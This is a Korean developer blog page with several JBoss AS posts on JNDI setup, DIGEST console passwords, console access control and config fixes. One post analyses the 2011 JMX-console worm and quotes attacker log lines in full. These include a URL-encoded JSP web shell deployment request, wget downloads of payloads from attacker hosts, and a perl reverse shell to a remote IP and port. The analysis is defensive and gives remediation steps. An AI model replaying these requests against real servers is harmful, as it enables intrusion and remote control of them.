블로그 이미지
올해목표 // 10월 어학연수 떠나자~ 자수씨

카테고리

전체글 (1457)
Brand New! (28)
주절주절 (213)
MOT (11)
해외쇼핑 (49)
쇼핑노트 (150)
취미생활 (94)
iPhone (4)
Eclipse (121)
Google (83)
Spring (31)
JAVA (176)
JavaScript (59)
WEB (49)
HTML (2)
CSS (4)
Web Browser (6)
JBossAS (27)
Weblogic (1)
GlassFish (2)
Database (20)
OS (26)
Tools (8)
Tips (26)
IT정보 (1)
Book (21)
Programming (37)
외부행사 (43)
주변인들 (17)
여행노트 (60)
학교생활 (30)
회사생활 (52)
사회생활 (5)
외국어공부 (12)
잡동사니 (30)
Total
Today
Yesterday
 
04-27 13:59
 

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
 

최근에 올라온 글

최근에 달린 댓글

JNDI 저장소가 필요해서 stand-alone 으로 띄울 수 있는 걸 찾아보기도 하고 이것저것 연구해본 결과... JBoss의 마이크로컨테이너를 이용하여 JNDI 서버를 띄우는 것이 가장 쉽고 편한 방법이란 것을 찾았습니다.


간단하게 설명하면 아래와 같습니다.

1. JBoss AS 를 다운받습니다. (5.1.0.GA 기준)

2. ./server/minimal/conf/jboss-service.xml 에서 "jboss:service=Naming" 관련 mbean 설정을 확인합니다.

 - 포트 설정 등등...

3. JBoss 를 띄울 때, "-b 0.0.0.0 -c minimal" 옵셥을 추가하여 띄우면 끝!!



이것 때문에 한 몇 개월 고민만 하고 작업은 실제로 한 것은 많이 없었는데, 당장 필요하니깐 몸이 또 움직이는군요... 음



Posted by 자수씨
, |


JBoss 의 JMX 취약점을 이용한 Worm 이 최근들어 곳곳에서 보이고 있습니다. 그에 따른 예방책과 해결책을 찾기위해 분석을 시작합니다.

JBoss Worm 분석

현재 알려진 worm 은 perl 스크립트를 이용하여 JMX console 을 호출하는 방식을 사용하고 있습니다.


해당 perl 스크립트가 실행되면, IRC 서버에 접속하게 되어 닉네임이 "iseee" 인 사용자의 명령에 따라 작업을 수행하게 됩니다.

Worm 수행 작업

해당 worm 은 다음과 같이 4가지 작업을 수행합니다.

작업 IRC 메시지 처리 결과
종료 PRIVMSG iseee :.die perl 스크립트 종료
명령어 실행 PRIVMSG iseee :.rsh "[명령어]" 해당 명령어를 수행
다운로드 PRIVMSG iseee :.get "[url]" "[반복횟수]" 해당 url 을 반복횟수 만큼 다운로드
POST 연결 PRIVMSG iseee :.post "[url]" "[데이터]" 해당 url 에 데이터를 포함하여 POST 연결 요청



예방책 및 해결책 (확인 중...)

최초에 jmx-console 의 취약점으로 인해 들어오기 때문에 jmx-console 인증 설정이 우선 시 되어야 합니다. jmx-console 을 막았음에도 계속해서 perl 스크립트가 재생되는 것으로 보아 별도의 숙주가 있을 것으로 예상됩니다.

추후, 새로 알게 되는 정보가 있으면 공유하도록 하겠습니다.



Posted by 자수씨
, |

관리 콘솔 패스워드를 암호화 없이 두기에는 좀 불안한 감이 있어서 패스워드 암호화가 필요합니다.
(물론... 아래에서 소개하는 MD5 가 강력한 것은 아니지만 일반 텍스트보다는 낫겠죠...)

환경설정

우선 security-constraint 가 적용된 모듈의 web.xml 을 확인합니다.
[module.war]/WEB-INF/web.xml
<web-app>
   ...
   <login-config>
      <auth-method>DIGEST</auth-method>
      <realm-name>JBoss WEB Console</realm-name>
   </login-config>
    ...
</web-app>

"login-config > auth-method" 를 기존 "BASIC" 에서 "DIGEST" 로 변경합니다.
"login-config > realm-name" 은 나중에 패스워드 만들 때 필요하니 미리 체크해두시기 바랍니다.

[module.war]/WEB-INF/jboss-web.xml
<jboss-web>
    ...
    <security-domain>java:/jaas/digest</security-domain>
    ...
</jboss-web>

security-domain 을 "java:/jaas/digest" 로 변경합니다. 추후 application-policy 로 저장될 이름입니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/login-config.xml
<application-policy name="digest">
    <authentication>
        <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
                      flag="required">
            <module-option name="usersProperties">props/digest-users.properties</module-option>
            <module-option name="rolesProperties">props/digest-roles.properties</module-option>
            <module-option name="hashAlgorithm">MD5</module-option>
            <module-option name="hashEncoding">rfc2617</module-option>
            <module-option name="hashUserPassword">false</module-option>
            <module-option name="hashStorePassword">true</module-option>
            <module-option name="passwordIsA1Hash">true</module-option>
            <module-option name="storeDigestCallback">org.jboss.security.auth.spi.RFC2617Digest</module-option>
        </login-module>
    </authentication>
</application-policy>

위와 같이 새로운 application-policy 를 추가합니다.

사용자와 롤을 설정할 수 있는 파일 두개도 미리 생성해 놓습니다.
 - $JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-users.properties
 - $JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-roles.properties


패스워드 생성 및 설정

JBoss 에서는 패스워드를 생성할 수 있도록 클래스를 제공해줍니다. 아래와 같은 방식으로 패스워드를 생성할 수 있습니다.

# java -cp $JBOSS_HOME/common/lib/jbosssx-server.jar org.jboss.security.auth.spi.RFC2617Digest username realm_name password

예를 들어 username 이 "admin" 이고 패스워드가 "vicki.tistory.com" 이라면 아래와 같은 명령을 통해 패스워드를 생성합니다.
(realm_name 은 위에서 "JBoss WEB Console" 로 정의되었기 때문에 위와 같이 사용합니다.)

# java -cp $JBOSS_HOME/common/lib/jbosssx-server.jar org.jboss.security.auth.spi.RFC2617Digest admin "JBoss WEB Console" vicki.tistory.com
RFC2617 A1 hash: c1b5f8a0d90b1b955661bc5819c7261e

생성된 패스워드를 properties 파일에 설정합니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-users.properties
admin=c1b5f8a0d90b1b955661bc5819c7261e


$JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-roles.properties
admin=JBossAdmin,HttpInvoker


위와 같이 두개의 설정 파일에 사용자와 롤을 추가한 후 해당 모듈을 재시작하면... 정상적으로 암호화된 패스워드가 적용된 것을 확인하실 수 있습니다.


참고 자료

- http://docs.jboss.org/jbossas/guides/webguide/r2/en/html/ch05.html

Posted by 자수씨
, |

JBoss 가 제공해주는 여러 관리 콘솔 (admin-console, jmx-console, web-console) 들은 기능이 막강하지만 접근권한을 재대로 관리하지 않으면 많은 위험성을 노출하게 됩니다.

각 관리 콘솔에 대한 접근권한 부여 방법에 대해 설명합니다.
 

admin-console

 



JBoss 에서 제공해주는 admin-console 입니다. 이름에서 알 수 있듯이 관리자 콘솔입니다. 모니터링 및 배포와 같은 기능을 제공합니다.

접근 권한 설정

admin-console 은 기본적으로 접근 권한의 제한이 있습니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/admin-console.war/WEB-INF/jboss-web.xml
<jboss-web>
     ...
    <security-domain>java:/jaas/jmx-console</security-domain>
     ...
</jboss-web>


security-domain 이 "java:jaas/jmx-console" 로 설정이 되어 jmx-console 과 같은 권한으로 제어합니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/login-config.xml
 

  <!-- A template configuration for the jmx-console web application. This
    defaults to the UsersRolesLoginModule the same as other and should be
    changed to a stronger authentication mechanism as required.
  -->
  <application-policy name="jmx-console">
    <authentication>
      <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
        flag="required">
        <module-option name="usersProperties">props/jmx-console-users.properties</module-option>
        <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
      </login-module>
    </authentication>
  </application-policy>


위와 같이 jmx-console 에 대한 기본설정은 props/jmx-console-users.properties 와 props/jmx-console-roles.properties 에 권한과 사용자 정보를 설정할 수 있습니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/props/jmx-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=[변경할 패스워드]


위의 설정이 완료되면 admin-console 재시작 후에 패스워드 변경된 것을 확인할 수 있습니다.

jmx-console

 



JMX 를 제어할 수 있는 페이지입니다. jboss 의 경우 JMX 에서 deploy, undeploy, start, stop, destroy 가 가능하므로 jboss 전문가가 악의를 가지고 있다면 시스템 전체에 영향을 끼칠 수 있는 콘솔입니다.

접근 권한 설정

$JBOSS_HOME/server/<CONFIGURATION>/deploy/jmx-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>

주석처리가 되어 있는 security-constraint 부분을 활성화 시킵니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/jmx-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
      need to edit the htmladaptor login configuration to setup the
      login modules used to authentication users.
   -->
      <security-domain>java:/jaas/jmx-console</security-domain>
</jboss-web>

admin-console 과 같이 security-domain 이 "java:/jaas/jmx-console" 이므로 admin-console 에서 설정한 사용자 정보를 통해 접근 권한 제한이 가능합니다.

admin-console 과 마찬가지로 설정 후 jmx-console 을 재시작 하면 접근 제한 설정이 가능합니다.

 

web-console

 



즐겨 사용하는 것이 아니라 정확한 기능은 파악하지 못하였으나 서버 정보가 외부로 노출되는 것을 막기 위해 접근 제한이 필요합니다.

web-console 의 경우 모든 configuration 에 있는 것이 아니라 "default" 와 "all" 에만 있으니 본인의 configuration 에 맞게 설정하시기 바랍니다. 

접근 권한 설정

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
      <web-resource-collection>
         <web-resource-name>HtmlAdaptor</web-resource-name>
         <description>An example security config that only allows users with the
            role JBossAdmin to access the HTML JMX console web application
         </description>
         <url-pattern>/*</url-pattern>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
      </web-resource-collection>
      <auth-constraint>
         <role-name>JBossAdmin</role-name>
      </auth-constraint>
   </security-constraint>


security-constraint 주석을 제거합니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
   need to edit the htmladaptor login configuration to setup the
   login modules used to authentication users.
   -->
   <security-domain>java:/jaas/web-console</security-domain>
    ...
</jboss-web>


security-domain 주석도 삭제합니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes/web-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=[변경할 패스워드]

jmx-console 의 패스워드를 설정하듯이 설정합니다.

재시작 후 재대로 적용이 되었는지를 확인합니다.



지금까지 설명한 접근제한은 가장 기본적인 접근제한 방법 (BASIC) 입니다. 패스워드가 암호화되지 않았기 때문에 서버가 뚫리면 패스워드도 노출되게 됩니다. BASIC 말고도 DIGEST, FORM, and CLIENT-CERT 방식으로 설정이 가능하니 필요에 따라 연구하여 설정하시면 될 것 같습니다.
 

참고자료

http://docs.jboss.org/jbossas/docs/Installation_And_Getting_Started_Guide/5/html/The_JBoss_Server___A_Quick_Tour.html


 

Posted by 자수씨
, |

지난 10월 20일, 오래된 버전의 JBoss 에서 웜이 돌 수 있다라는 GUERRILA7 의 리포팅이 있었습니다. 디폴트로 설정된 JMX console (/jmx-console) 의 접근 취약성을 이용하여, 원격지의 공격자가 아무런 인증 절차 없이 HTTP 통신을 통하여 서버의 명령어를 실행시킬 수 있었습니다.

위험성이 노출된 버전은 아래와 같습니다.
  • JBoss Application Server (AS) 4.0.x, 5.x
  • JBoss Communications Platform 1.2
  • JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
  • JBoss Enterprise Portal Platform (EPP) 4.3
  • JBoss Enterprise Web Platform (EWP) 5.0
  • JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0


웜에 감염된 JBoss 들은 구글 검색을 통해 쉽게 확인할 수 있습니다.





공격은 다음과 같은 형식으로 이루어집니다.

아래 아파치 로그를 통해 설명해드리겠습니다.

사례 1 - zecmd


1. HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0
2. GET /zecmd/zecmd.jsp HTTP/1.0
3. GET /zecmd/zecmd.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0
4. GET /zecmd/zecmd.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0
5. GET /zecmd/zecmd.jsp?comment=perl+linda.pl HTTP/1.0


1. JMX console 의 취약점을 이용하여 백도어 jsp 를 배포시킵니다.
2. 백도어 jsp (zecmd.jsp) 의 정상 동작여부를 확인합니다.
3. 특정 경로에서 공격을 위한 tar.gz 파일 (kisses.tar.gz) 을 다운로드 받습니다.
4. tar.gz 파일의 압축을 해제합니다.
5. perl script (linda.pl) 을 실행시킵니다.
  >> linda.pl 에 의해 여러가지 경로로 worm 이 증식을 하게됩니다.




사례 2 - idssvc


GET /idssvc/idssvc.jsp HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=tar+xzvf+javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=perl+lindb.pl HTTP/1.0


zecmd 와 마찬가지로 *.tar.gz 의 다운로드를 시도합니다. 그 후 perl script 를 시작시킴으로써 worm 의 증식을 발동시킵니다.



사례 3 - iesvc


GET /iesvc/iesvc.jsp?comment=wget+https%3A%2F%2F203.177.33.156%2Fadmin%2Freverse.txt+--no-check-certificate HTTP/1.1
GET /iesvc/iesvc.jsp?comment=perl+reverse.txt+199.71.215.203+4442 HTTP/1.1
GET /iesvc/iesvc.jsp?comment=find+%2F+-name+done.php HTTP/1.1

시간이 지날수록 변종들이 생겨나고 있습니다. 특정 경로에서 perl script 인 reverse.txt 를 내려받아 실행을 시킵니다.
reverse.txt 는 백도어를 대놓고 심어놓습니다.





피해 복구 방법

1. 동작중인 perl 프로세스 종료
현재까지 알려진 worm 은 perl 을 통해 구동이 됩니다. 해당 서버에서 별도의 perl 을 구동하지 않는다면 모든 perl 프로세스를 종료시키시기 바랍니다.


2. 감영된 crontab 제거

# crontab -l

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

 

# crontab -r


위와 같이 관련 worm 들이 /root/.sys* 로 crontab 에 등록이 되어 있습니다. "crontab -r" 명령어로 제거합니다.

3. JMX console 보안 강화
아래 포스팅을 참고하여 보안 설정을 하시기 바랍니다.
2011/11/16 - [WEB/JBossAS] - [JBoss] 관리 콘솔 접근권한 부여



백도어를 통해 외부에서 서버가 제어가능하기 때문에 앞으로 어떻게 확장될지는 공격자 마음입니다. 치명적인 공격을 당하기 전에 점검해보시기 바랍니다.


참고자료

http://eromang.zataz.com/2011/10/25/jboss-worm-analysis-in-details/


Posted by 자수씨
, |

JBoss 에서 네이밍 서비스를 이용하기 위해서 InitialContext 객체를 그냥 생성하게 되면 아래와 같은 오류를 접하게 됩니다.

javax.naming.CommunicationException: Could not obtain connection to any of these urls: vm://localhost and discovery failed with error: javax.naming.CommunicationException: Receive timed out [Root exception is java.net.SocketTimeoutException: Receive timed out] [Root exception is javax.naming.CommunicationException: Failed to connect to server vm:1099 [Root exception is javax.naming.ServiceUnavailableException: Failed to connect to server vm:1099 [Root exception is java.net.UnknownHostException: vm]]

JBoss 에서는 InitialContext 생성 시에 "java.naming.provider.url" 기본 값이  "vm:localhost:1099" 로 설정이 되어있어, vm 프로토콜을 찾지 못하고 처리를 재대로 못하게 되는 것입니다.


다음과 같은 프로퍼티 설정으로 오류를 해결할 수 있습니다.

기존 소스
InitialContext context = new InitialContext();

변경된 소스
Properties properties = new Properties();
properties.put(Context.INITIAL_CONTEXT_FACTORY, "org.jnp.interfaces.NamingContextFactory");
properties.put(Context.PROVIDER_URL, "jnp://localhost:1099");
InitialContext context = new InitialContext(properties);


~


Posted by 자수씨
, |

요즘에는 회사나 개인적으로 주로 사용하는 WAS 는 JBoss AS 입니다.

최근 관련 작업을 하면서 JBoss AS 를 설치한 쪽 디스크 full 이 자주 일어나 확인해보니 tmp 디렉토리의 vfs-nested.tmp 디렉토리에 수많은 jar 파일들이 원인이였습니다.


JBoss 커뮤니티 사이트를 검색을 하여 발견한 해결책을 이용하여 테스트를 해보았습니다.
(테스트 환경: default deploy 에 두 개의 WAR 파일 배포)

 1. vfs 옵션 미사용

기본 옵션

 

구동 시간: 2m 20s

메모리: 568.612 MB

vfs-nested.tmp 디렉토리: 사용, 기존처럼 무한 증대

 

2. vfs 옵션 조정

-Djboss.vfs.forceNoCopy=true

-Djboss.vfs.forceCopy=false

 

구동 시간: 2m 31s

메모리: 638.764 MB

vfs-nested.tmp 디렉토리: vfs-nested.tmp 사용 안함

 

3. vfs caching 옵션 조정

-Djboss.vfs.cache=org.jboss.virtual.plugins.cache.IterableTimedVFSCache

-Djboss.vfs.cache.TimedPolicyCaching.lifetime=1440

 

구동 시간: 2m 21s

메모리: 521.872 MB

vfs-nested.tmp 디렉토리: 사용, 용량 증가 확인 중


일단, 3번째 방법으로 테스트 서버를 띄워 놓고 용량이 얼마나 증가하는지를 체크해 봐야겠습니다.

>> 3번째 방법으로 하니 파일이 더 많이 생기는 것 같습니다;;; IterableTimedVFSCache 클래스를 검토해봐야 겠습니다.


참고자료


http://community.jboss.org/thread/2148


Posted by 자수씨
, |

Disable Hot Deploy on JBoss 5.1 is easy, just file jbossAs/server/server-profile/deploy/hdscanner-jboss-beans.xml  remove or move to another folder.
 
Hot Deploy is disabled, you can deploy/redeploy/undeploy aplications via twiddle.sh,for example:
 
deploy:
./jbossAs/bin/twiddle.sh -s localhost invoke "jboss.system:service=MainDeployer" deploy "file:/hileWhichYouWantDeploy"
 
redeploy:
./jbossAs/bin/twiddle.sh -s localhost invoke "jboss.system:service=MainDeployer" redeploy "file:/hileWhichYouWantReDeploy"
 
undeploy:
./jbossAs/bin/twiddle.sh -s localhost invoke "jboss.system:service=MainDeployer" undeploy "file:/hileWhichYouWantUnDeploy"
 
To re-enable the Hot Deploy, just copy file hdscanner-jboss-beans.xml to folder jbossAs/server/server-profile/deploy/ and execute
 
./twiddle.sh -s localhost invoke "jboss.system:service=MainDeployer" deploy "file:/home/jbossAs5/server/server-profile/deploy/hdscanner-jboss-beans.xml"

출처: http://community.jboss.org/wiki/JBoss51DisableEnableHotDeployHDScanner


위의 내용을 요약하자면 jbossAs/server/server-profile/deploy/hdscanner-jboss-beans.xml 파일을 삭제하거나 다른 디렉토리로 이동을 시키면 HDScanner 가 동작을 안하고 (Hot deploy disable), 다시 복구를 하면 HDScanner 가 동작을 한다는 이야기 입니다.

정리 차원에서 포스팅...

Posted by 자수씨
, |


이클립스에서 간만에 JBoss 를 돌리려고 보니 아래와 같은 오류가 빠방~~


11:23:05,200 INFO  [ServerInfo] Java version: 1.6.0_20,Sun Microsystems Inc.
11:23:05,200 INFO  [ServerInfo] Java Runtime: Java(TM) SE Runtime Environment (build 1.6.0_20-b02)
11:23:05,200 INFO  [ServerInfo] Java VM: Java HotSpot(TM) Client VM 16.3-b01,Sun Microsystems Inc.
11:23:05,200 INFO  [ServerInfo] OS-System: Windows 7 6.1,x86
11:23:05,201 INFO  [ServerInfo] VM arguments: -Dprogram.name=run.bat -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dfile.encoding=UTF-8
11:23:05,230 INFO  [JMXKernel] Legacy JMX core initialized
11:23:06,113 ERROR [AbstractKernelController] Error installing to Instantiated: name=AttachmentStore state=Described
java.lang.IllegalArgumentException: Wrong arguments. new for target java.lang.reflect.Constructor expected=[java.net.URI] actual=[java.io.File]
 at org.jboss.reflect.plugins.introspection.ReflectionUtils.handleErrors(ReflectionUtils.java:395)
 at org.jboss.reflect.plugins.introspection.ReflectionUtils.newInstance(ReflectionUtils.java:153)
 at org.jboss.reflect.plugins.introspection.ReflectConstructorInfoImpl.newInstance(ReflectConstructorInfoImpl.java:106)
 at org.jboss.joinpoint.plugins.BasicConstructorJoinPoint.dispatch(BasicConstructorJoinPoint.java:80)
 at org.jboss.aop.microcontainer.integration.AOPConstructorJoinpoint.createTarget(AOPConstructorJoinpoint.java:282)
 at org.jboss.aop.microcontainer.integration.AOPConstructorJoinpoint.dispatch(AOPConstructorJoinpoint.java:103)
 at org.jboss.kernel.plugins.dependency.KernelControllerContextAction$JoinpointDispatchWrapper.execute(KernelControllerContextAction.java:241)
 at org.jboss.kernel.plugins.dependency.ExecutionWrapper.execute(ExecutionWrapper.java:47)
 at org.jboss.kernel.plugins.dependency.KernelControllerContextAction.dispatchExecutionWrapper(KernelControllerContextAction.java:109)
 at org.jboss.kernel.plugins.dependency.KernelControllerContextAction.dispatchJoinPoint(KernelControllerContextAction.java:70)
 at org.jboss.kernel.plugins.dependency.InstantiateAction.installActionInternal(InstantiateAction.java:66)
 at org.jboss.kernel.plugins.dependency.InstallsAwareAction.installAction(InstallsAwareAction.java:54)
 at org.jboss.kernel.plugins.dependency.InstallsAwareAction.installAction(InstallsAwareAction.java:42)
 at org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallAction(SimpleControllerContextAction.java:62)
 at org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessControllerContextAction.java:71)
 at org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractControllerContextActions.java:51)
 at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
 at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
 at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
 at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
 at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
 at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:774)
 at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:540)
 at org.jboss.kernel.plugins.deployment.AbstractKernelDeployer.deployBean(AbstractKernelDeployer.java:319)
 at org.jboss.kernel.plugins.deployment.AbstractKernelDeployer.deployBeans(AbstractKernelDeployer.java:297)
 at org.jboss.kernel.plugins.deployment.AbstractKernelDeployer.deploy(AbstractKernelDeployer.java:130)
 at org.jboss.kernel.plugins.deployment.BasicKernelDeployer.deploy(BasicKernelDeployer.java:76)
 at org.jboss.bootstrap.microcontainer.TempBasicXMLDeployer.deploy(TempBasicXMLDeployer.java:91)
 at org.jboss.bootstrap.microcontainer.TempBasicXMLDeployer.deploy(TempBasicXMLDeployer.java:161)
 at org.jboss.bootstrap.microcontainer.ServerImpl.doStart(ServerImpl.java:138)
 at org.jboss.bootstrap.AbstractServerImpl.start(AbstractServerImpl.java:450)
 at org.jboss.Main.boot(Main.java:221)
 at org.jboss.Main$1.run(Main.java:556)
 at java.lang.Thread.run(Thread.java:619)


$JBOSS_HOME/server/<serverName>/conf/bootstrap/profile.xml 파일을 수정하여 위의 문제 해결이 가능합니다.
...
    <!-- The attachment store -->
    <bean name="AttachmentStore" class="org.jboss.system.server.profileservice.repository.AbstractAttachmentStore">
        <constructor><parameter class="java.io.File"><inject bean="BootstrapProfileFactory" property="attachmentStoreRoot" /></parameter></constructor>
        <property name="mainDeployer"><inject bean="MainDeployer" /></property>
        <property name="serializer"><inject bean="AttachmentsSerializer" /></property>
        <property name="persistenceFactory"><inject bean="PersistenceFactory" /></property>
    </bean>
...

parameter 엘리먼트에 class="java.io.File" 애트리뷰트를 추가합니다.


완료~


참고자료: http://community.jboss.org/thread/2390?tstart=0



Posted by 자수씨
, |


아무생각 없이 JEUS 에 돌던 걸 JBoss 쪽으로 테스트 환경을 구성하다 보니... 아래와 같은 오류를 만났습니다.

org.springframework.beans.factory.BeanDefinitionStoreException: I/O failure during classpath scanning; nested exception is java.util.zip.ZipException: error in opening zip file


스프링 소스 내려받아서 오류가 나는 부분 찾으려고 수정한 담에 컴파일 된 소스를 박아봐도 원인은 못 찾겠고...

수차례 삽질과 검색 끝에 찾은 결과는... JEUS 와 JBoss 의 차이점에서 있었습니다.


아래와 같이 web.xml 에 context-param 을 추가하고


서블릿에는 init-param 을 추가합니다. (Spring 2.5 어노테이션을 쓰는 서블릿만...)
 



에잇 내 2박 3일 ㅠ_ㅠ...


Posted by 자수씨
, |

글 보관함

최근에 받은 트랙백